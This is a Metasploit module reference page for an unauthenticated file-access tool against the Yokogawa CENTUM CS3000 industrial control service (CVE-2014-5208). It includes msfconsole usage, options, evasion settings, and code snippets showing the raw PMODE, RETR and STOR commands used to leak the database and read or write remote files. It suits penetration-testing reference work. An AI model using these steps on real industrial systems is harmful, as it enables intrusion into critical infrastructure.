Yokogawa BKBCopyD.exe Client - Metasploit

This page contains detailed information about how to use the auxiliary/admin/scada/yokogawa_bkbcopyd_client metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: Yokogawa BKBCopyD.exe Client
Module: auxiliary/admin/scada/yokogawa_bkbcopyd_client
Source code: modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
Disclosure date: 2014-08-09
Last modification time: 2022-03-10 10:28:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 20111
List of CVEs: CVE-2014-5208

This module allows an unauthenticated user to interact with the Yokogawa CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR operations.

Module Ranking and Traits

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Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

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msf > use auxiliary/admin/scada/yokogawa_bkbcopyd_client
msf auxiliary(yokogawa_bkbcopyd_client) > show targets
    ... a list of targets ...
msf auxiliary(yokogawa_bkbcopyd_client) > set TARGET target-id
msf auxiliary(yokogawa_bkbcopyd_client) > show options
    ... show and set options ...
msf auxiliary(yokogawa_bkbcopyd_client) > exploit

Required Options

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• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

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Here is how the admin/scada/yokogawa_bkbcopyd_client auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/yokogawa_bkbcopyd_client

msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show info

       Name: Yokogawa BKBCopyD.exe Client
     Module: auxiliary/admin/scada/yokogawa_bkbcopyd_client
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-08-09

Provided by:
  Unknown

Available actions:
  Name   Description
  ----   -----------
  PMODE  Leak the current database
  RETR   Retrieve remote file
  STOR   Store remote file

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  LPATH                     no        The Local Path (required to STOR)
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPATH                     no        The Remote Path (required to RETR and STOR)
  RPORT    20111            yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Description:
  This module allows an unauthenticated user to interact with the 
  Yokogawa CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR 
  and STOR operations.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-5208
  https://blog.rapid7.com/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access

Module Options

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This is a complete list of options available in the admin/scada/yokogawa_bkbcopyd_client auxiliary module:

msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show options

Module options (auxiliary/admin/scada/yokogawa_bkbcopyd_client):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LPATH                     no        The Local Path (required to STOR)
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH                     no        The Remote Path (required to RETR and STOR)
   RPORT    20111            yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Advanced Options

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Here is a complete list of advanced options supported by the admin/scada/yokogawa_bkbcopyd_client auxiliary module:

msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show advanced

Module advanced options (auxiliary/admin/scada/yokogawa_bkbcopyd_client):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   ListenerComm                     no        The specific communication channel to use for this service
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

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This is a list of all auxiliary actions that the admin/scada/yokogawa_bkbcopyd_client module can do:

msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show actions

Auxiliary actions:

   Name   Description
   ----   -----------
   PMODE  Leak the current database
   RETR   Retrieve remote file
   STOR   Store remote file

Evasion Options

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Here is the full list of possible evasion options supported by the admin/scada/yokogawa_bkbcopyd_client auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/yokogawa_bkbcopyd_client) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

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This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed...

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Here is a relevant code snippet related to the "Failed..." error message:

59:	      data = "PMODE MR_DBPATH\n"
60:	      res = send_pkt(data)
61:	      if res and res =~ /^210/
62:	        print_good("Success: #{res}")
63:	      else
64:	        print_error("Failed...")
65:	      end
66:	      return
67:	    when 'RETR'
68:	      data = "RETR #{datastore['RPATH']}\n"
69:	      print_status("Sending RETR packet...")

Incorrect action

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Here is a relevant code snippet related to the "Incorrect action" error message:

73:	      data = "STOR #{datastore['RPATH']}\n"
74:	      print_status("Sending STOR packet...")
75:	      res = send_pkt(data)
76:	      return unless res and res =~ /^150/
77:	    else
78:	      print_error("Incorrect action")
79:	      return
80:	    end
81:	
82:	    super # TCPServer :)
83:	  end

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Related Pull Requests

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• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
• #12354 Merged Pull Request: Remove targets from aux and post modules
• #11107 Merged Pull Request: Clean out unless not
• #10276 Merged Pull Request: Update missing CVE references for auxiliary modules
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #3637 Merged Pull Request: Add Yokogawa unauth admin module

References

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• CVE-2014-5208
• https://blog.rapid7.com/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access

See Also

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Check also the following modules related to this module:

• auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
• auxiliary/admin/scada/ge_proficy_substitute_traversal
• auxiliary/admin/scada/modicon_command
• auxiliary/admin/scada/modicon_password_recovery
• auxiliary/admin/scada/modicon_stux_transfer
• auxiliary/admin/scada/moxa_credentials_recovery
• auxiliary/admin/scada/multi_cip_command
• auxiliary/admin/scada/pcom_command
• auxiliary/admin/scada/phoenix_command
• auxiliary/dos/scada/yokogawa_logsvr
• exploit/windows/scada/yokogawa_bkbcopyd_bof
• exploit/windows/scada/yokogawa_bkesimmgr_bof
• exploit/windows/scada/yokogawa_bkfsim_vhfd
• exploit/windows/scada/yokogawa_bkhodeq_bof
• auxiliary/admin/atg/atg_client
• auxiliary/dos/scada/allen_bradley_pccc
• auxiliary/dos/scada/beckhoff_twincat
• auxiliary/dos/scada/d20_tftp_overflow
• auxiliary/dos/scada/igss9_dataserver
• auxiliary/dos/scada/siemens_siprotec4
• auxiliary/scanner/scada/bacnet_l3
• auxiliary/scanner/scada/digi_addp_reboot
• auxiliary/scanner/scada/digi_addp_version
• auxiliary/scanner/scada/digi_realport_serialport_scan
• auxiliary/scanner/scada/digi_realport_version
• auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
• auxiliary/scanner/scada/koyo_login
• auxiliary/scanner/scada/modbus_banner_grabbing
• auxiliary/scanner/scada/modbusclient
• auxiliary/scanner/scada/modbusdetect
• auxiliary/scanner/scada/modbus_findunitid
• auxiliary/scanner/scada/moxa_discover
• auxiliary/scanner/scada/pcomclient
• auxiliary/scanner/scada/profinet_siemens
• auxiliary/scanner/scada/sielco_winlog_fileaccess

Authors

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• Unknown

Version

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This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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